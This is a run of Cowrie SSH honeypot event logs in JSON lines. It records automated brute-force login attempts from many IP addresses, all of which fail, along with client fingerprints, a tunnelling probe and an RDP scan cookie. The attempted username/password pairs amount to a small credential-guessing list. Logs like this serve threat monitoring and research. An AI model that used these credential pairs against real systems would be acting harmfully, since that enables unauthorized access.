{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:21.121436Z","src_ip":"87.251.64.176","session":"0bb6a5751b02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:21.286664Z","src_ip":"87.251.64.176","session":"0bb6a5751b02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":34532,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc74f1d803b8","protocol":"ssh","message":"New connection: 83.168.110.85:34532 (159.203.135.109:22) [session: bc74f1d803b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:24.880465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:24.887817Z","src_ip":"83.168.110.85","session":"bc74f1d803b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:25.024550Z","src_ip":"83.168.110.85","session":"bc74f1d803b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:25.605212Z","src_ip":"83.168.110.85","session":"bc74f1d803b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:26.732658Z","src_ip":"83.168.110.85","session":"bc74f1d803b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":57375,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0ce74ca77cc","protocol":"ssh","message":"New connection: 152.42.212.128:57375 (10.17.0.5:22) [session: b0ce74ca77cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:29.348778Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:29.355576Z","src_ip":"152.42.212.128","session":"b0ce74ca77cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:29.359683Z","src_ip":"152.42.212.128","session":"b0ce74ca77cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":39586,"dst_ip":"10.17.0.5","dst_port":22,"session":"f41198457034","protocol":"ssh","message":"New connection: 103.173.227.57:39586 (10.17.0.5:22) [session: f41198457034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:32.698199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:32.702815Z","src_ip":"103.173.227.57","session":"f41198457034","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:32.946874Z","src_ip":"103.173.227.57","session":"f41198457034","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"atdhfkm","message":"login attempt [root/atdhfkm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:33.680315Z","src_ip":"103.173.227.57","session":"f41198457034","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:34.928485Z","src_ip":"103.173.227.57","session":"f41198457034","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":34050,"dst_ip":"159.203.135.109","dst_port":22,"session":"008947593753","protocol":"ssh","message":"New connection: 83.168.110.85:34050 (159.203.135.109:22) [session: 008947593753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:35.481125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:35.622480Z","src_ip":"83.168.110.85","session":"008947593753","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:35.627450Z","src_ip":"83.168.110.85","session":"008947593753","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:36.258482Z","src_ip":"83.168.110.85","session":"008947593753","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:37.381108Z","src_ip":"83.168.110.85","session":"008947593753","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":43134,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fe27b55193e","protocol":"ssh","message":"New connection: 176.32.39.21:43134 (159.203.135.109:22) [session: 3fe27b55193e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:40.350437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:40.354932Z","src_ip":"176.32.39.21","session":"3fe27b55193e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:40.474637Z","src_ip":"176.32.39.21","session":"3fe27b55193e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cherry","message":"login attempt [root/cherry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:40.835664Z","src_ip":"176.32.39.21","session":"3fe27b55193e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:41.958194Z","src_ip":"176.32.39.21","session":"3fe27b55193e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":40286,"dst_ip":"159.203.135.109","dst_port":22,"session":"717b00673b23","protocol":"ssh","message":"New connection: 147.45.199.80:40286 (159.203.135.109:22) [session: 717b00673b23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:42.969317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:42.974991Z","src_ip":"147.45.199.80","session":"717b00673b23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:43.070569Z","src_ip":"147.45.199.80","session":"717b00673b23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ananas","message":"login attempt [root/ananas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:43.357079Z","src_ip":"147.45.199.80","session":"717b00673b23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:44.455738Z","src_ip":"147.45.199.80","session":"717b00673b23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33404,"dst_ip":"159.203.135.109","dst_port":22,"session":"40f2c74d3da7","protocol":"ssh","message":"New connection: 83.168.110.85:33404 (159.203.135.109:22) [session: 40f2c74d3da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:46.261584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:46.317284Z","src_ip":"83.168.110.85","session":"40f2c74d3da7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:46.385684Z","src_ip":"83.168.110.85","session":"40f2c74d3da7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:46.858793Z","src_ip":"83.168.110.85","session":"40f2c74d3da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:47.990416Z","src_ip":"83.168.110.85","session":"40f2c74d3da7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.3.96.178","src_port":54174,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e47481284d7","protocol":"ssh","message":"New connection: 79.3.96.178:54174 (10.17.0.5:22) [session: 5e47481284d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:50.280731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:50.285612Z","src_ip":"79.3.96.178","session":"5e47481284d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:50.420098Z","src_ip":"79.3.96.178","session":"5e47481284d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux@123","message":"login attempt [root/linux@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:50.985374Z","src_ip":"79.3.96.178","session":"5e47481284d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:52.123264Z","src_ip":"79.3.96.178","session":"5e47481284d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":56032,"dst_ip":"159.203.135.109","dst_port":22,"session":"15d12d27de4b","protocol":"ssh","message":"New connection: 83.168.110.85:56032 (159.203.135.109:22) [session: 15d12d27de4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:56.942950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:56.956198Z","src_ip":"83.168.110.85","session":"15d12d27de4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:57.066207Z","src_ip":"83.168.110.85","session":"15d12d27de4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:57.540072Z","src_ip":"83.168.110.85","session":"15d12d27de4b","protocol":"ssh"}
